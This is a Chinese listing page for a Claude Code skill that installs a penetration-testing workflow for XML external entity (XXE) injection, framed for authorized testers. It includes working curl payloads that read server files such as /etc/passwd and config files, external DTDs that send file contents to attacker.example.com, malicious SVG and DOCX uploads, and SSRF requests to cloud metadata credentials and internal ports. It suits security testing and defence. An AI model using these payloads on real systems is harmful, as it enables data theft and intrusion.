mcpField
T
testing-for-xxe-injection-vulnerabilities

testing-for-xxe-injection-vulnerabilities

github.com/mukul975安全35.2k315 次安装8 周前更新
代码仓库

关于 testing-for-xxe-injection-vulnerabilities

面向授权渗透测试人员的安全测试技能,用于评估 XML 应用中的 XXE 风险,涵盖盲 XXE、文件上传与 SSRF 测试及结果记录。

主要功能

  1. 01定位 XML 处理端点
  2. 02测试文件读取与盲 XXE
  3. 03评估 XML 文件上传解析
  4. 04检查 XXE 引发的 SSRF
  5. 05记录漏洞发现

适用场景

  1. 01评估接收 XML 的 SOAP 服务
  2. 02测试 SVG 或 DOCX 上传解析
  3. 03检查 API 是否接受 XML 请求

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-xxe-injection-vulnerabilities

安装后在 Claude Code 中输入/testing-for-xxe-injection-vulnerabilities确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

测试 XXE 注入漏洞

何时使用

  • 在授权渗透测试中,当应用程序处理 XML 输入时(SOAP API、文件上传、RSS 源)
  • 测试接受 Content-Type: application/xml 或 text/xml 的 API 时
  • 评估文件上传功能中的 XML 解析器时(DOCX、XLSX、SVG、PDF)
  • 评估基于 SOAP 的 Web 服务是否存在实体注入时
  • 对使用 XML 配置的企业应用程序进行安全评估时

前置条件

  • 授权:针对目标的书面渗透测试协议
  • Burp Suite Professional:用于拦截和修改 XML 请求
  • XXEinjector:自动化 XXE 利用工具(git clone https://github.com/enjoiz/XXEinjector.git)
  • 带外服务器:Burp Collaborator 或 interactsh,用于盲 XXE 检测
  • curl:用于手动构造和提交 payload
  • Python:用于构建 DTD 托管服务器

工作流

步骤 1:识别 XML 处理点

查找所有接受或处理 XML 数据的应用程序端点。

# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml

# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"search":"test"}' \
  "https://target.example.com/api/search"

# Try converting to XML:
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><search>test</search></root>' \
  "https://target.example.com/api/search"

# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side

# Check for SOAP endpoints
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"\"" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
  "https://target.example.com/ws/service"
步骤 2:使用文件读取测试基本 XXE

注入 XML 实体以从服务器读取本地文件。

# Basic XXE payload to read /etc/passwd
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Windows file read
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Read application configuration files
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"
步骤 3:使用带外检测测试盲 XXE

当实体值未在响应中回显时,使用带外技术。

# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)
# Start interactsh: interactsh-client
# Use the generated domain: abc123.oast.fun

curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Check interactsh/Collaborator for incoming DNS or HTTP requests

# Blind XXE with DNS exfiltration
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Blind XXE via parameter entities (when regular entities are blocked)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
  %xxe;
]>
<root><search>test</search></root>' \
  "https://target.example.com/api/search"
步骤 4:通过带外 XXE 外传数据

使用外部 DTD 通过 HTTP 请求提取文件内容。

# Host a malicious DTD file on attacker server
# Create file: evil.dtd
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
EOF

# Host the DTD
cd /tmp && python3 -m http.server 8888 &

# Send the XXE payload referencing the external DTD
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
  %dtd;
]>
<root><search>test</search></root>' \
  "https://target.example.com/api/search"

# For multi-line file exfiltration, use FTP protocol
# evil-ftp.dtd:
cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval;
%exfil;
EOF

# Use xxeserv or similar FTP listener to capture multi-line output
# python3 xxeserv.py --ftp --port 2121
步骤 5:通过文件上传测试 XXE

测试文档上传功能中的 XML 解析。

# SVG file with XXE
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="0" y="20">&xxe;</text>
</svg>
EOF

# Upload the SVG
curl -s -X POST \
  -F "file=@/tmp/xxe.svg;type=image/svg+xml" \
  -b "session=abc123" \
  "https://target.example.com/api/upload/avatar"

# DOCX file with XXE (DOCX is a ZIP containing XML files)
mkdir -p /tmp/xxe-docx
cd /tmp/xxe-docx
# Unzip a legitimate .docx file
unzip /tmp/template.docx -d /tmp/xxe-docx

# Inject XXE into [Content_Types].xml or document.xml
# Add DTD with external entity to document.xml
# Repackage: cd /tmp/xxe-docx && zip -r /tmp/malicious.docx *

# XLSX with XXE (same technique as DOCX)
# Inject into xl/sharedStrings.xml or [Content_Types].xml
步骤 6:测试 XXE 进行服务端请求伪造(SSRF)

使用 XXE 使服务器向内部服务发送请求。

# SSRF via XXE to cloud metadata
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Internal port scanning via XXE
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
  echo -n "Port $port: "
  curl -s -X POST --max-time 5 \
    -H "Content-Type: application/xml" \
    -d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \
    "https://target.example.com/api/search" | head -c 100
  echo
done

# Access internal services
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

关键概念

概念描述
XML 外部实体在 DTD 中定义的实体,通过 SYSTEM 或 PUBLIC 关键字引用外部资源
DTD(文档类型定义)定义 XML 文档的结构和合法元素,包括实体声明
内部实体在 DTD 中直接定义值的实体(<!ENTITY name "value">)
外部实体从 URI 加载内容的实体(<!ENTITY name SYSTEM "uri">)
参数实体在 DTD 本身内使用的实体,以 % 为前缀(<!ENTITY % name SYSTEM "uri">)
盲 XXE实体值未在响应中回显的 XXE,需要带外外传
十亿笑声(DoS)递归实体扩展攻击,导致指数级内存消耗
XXE 到 SSRF使用 XXE 使服务器向内部或外部服务发送 HTTP 请求

工具与系统

工具用途
Burp Suite Professional请求拦截、修改,以及用于 OOB 检测的 Collaborator
XXEinjector自动化 XXE 利用,具有文件外传和 SSRF 能力
interactsh带外交互服务器,用于检测盲 XXE 回调
xxeserv专用 FTP/HTTP 服务器,用于 XXE 数据外传
OWASP ZAP在主动扫描模式下进行自动化 XXE 扫描
DTD-Finder发现服务器上的 DTD 文件以进行实体注入

常见场景

场景 1:SOAP API 文件读取

一个 SOAP Web 服务处理 XML 输入时未禁用外部实体。在 SOAP 正文中注入带有 SYSTEM 实体的 DTD 可读取 /etc/passwd 并在 SOAP 响应中返回。

场景 2:SVG 上传盲 XXE

一个图像上传功能接受 SVG 文件。SVG 在服务端被解析以生成缩略图。在 SVG 中使用盲 XXE payload,通过带外 HTTP 请求外传服务器文件。

场景 3:JSON 到 XML 的 Content-Type 切换

一个 REST API 主要使用 JSON,但 XML 解析器也已启用。将 Content-Type 切换为 application/xml 并发送 XXE payload,可通过 API 响应暴露服务器文件。

场景 4:DOCX 处理 XXE

简历上传功能会处理 DOCX 文件。将 XXE 注入到 DOCX 归档文件内的 [Content_Types].xml 文件中,会在服务端解析该文档时触发文件读取。

输出格式

## XXE Injection Finding

**Vulnerability**: XML External Entity (XXE) Injection
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/search (Content-Type: application/xml)
**OWASP Category**: A05:2021 - Security Misconfiguration

### Reproduction Steps
1. Send POST request to /api/search with Content-Type: application/xml
2. Include DTD with external entity: <!ENTITY xxe SYSTEM "file:///etc/passwd">
3. Reference entity in XML body: <search>&xxe;</search>
4. Server returns file contents in the response

### Confirmed Impact
- Local file read: /etc/passwd, /etc/hostname, application config files
- SSRF: Accessed AWS metadata at 169.254.169.254
- Internal network scanning: Identified internal services on ports 3306, 6379, 8080

### Files Retrieved
| File | Contents Summary |
|------|-----------------|
| /etc/passwd | 42 user accounts, service accounts identified |
| /var/www/html/config.php | Database credentials in plaintext |
| /etc/hostname | Internal hostname: prod-web-01 |

### Recommendation
1. Disable external entity processing in the XML parser
2. Disable DTD processing entirely if not required
3. Use JSON instead of XML where possible
4. Implement input validation to reject DTD declarations in XML input
5. Apply least-privilege file system permissions for the web server user

评论

支持 Markdown